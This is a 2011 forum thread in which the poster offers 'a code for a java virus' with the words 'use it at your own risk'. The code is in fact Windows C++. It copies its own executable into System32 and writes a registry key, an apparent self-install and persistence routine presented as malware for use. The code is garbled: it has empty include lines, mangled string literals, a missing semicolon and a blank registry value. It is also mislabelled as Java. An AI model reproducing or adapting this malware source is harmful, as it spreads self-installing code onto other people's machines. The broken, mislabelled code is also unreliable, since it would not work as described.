Java
Would you like to react to this message? Create an account in a few clicks or log in to continue.


A free forum for all java heads
 
HomeGalleryLatest imagesSearchRegisterLog in

 

 this is a code for a java virus

Go down 
AuthorMessage
Admin
Admin
Admin


Posts : 3
Points : 6
Join date : 2011-01-26
Age : 29

this is a code for a java virus Empty
PostSubject: this is a code for a java virus   this is a code for a java virus EmptyThu Jan 27, 2011 8:51 am

Hello use it at your own risk

#include
#include

char windir[MAX_PATH];
HKEY hKey;

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char pathname[256];
unsigned char reg[10] = ""

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, "\\System32\".exe");
CopyFile(pathname,windir,0);

RegCreateKey(HKEY_CURRENT_USER,"Software\",&hKey);
RegSetValueEx(hKey,"",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);
}
write this code in c++ program and save it as .cpp extension
Back to top Go down
https://javapro.board-directory.net
 
this is a code for a java virus
Back to top 
Page 1 of 1
 Similar topics
-
» java programing

Permissions in this forum:You cannot reply to topics in this forum
Java :: Java :: Java programing codes-
Jump to: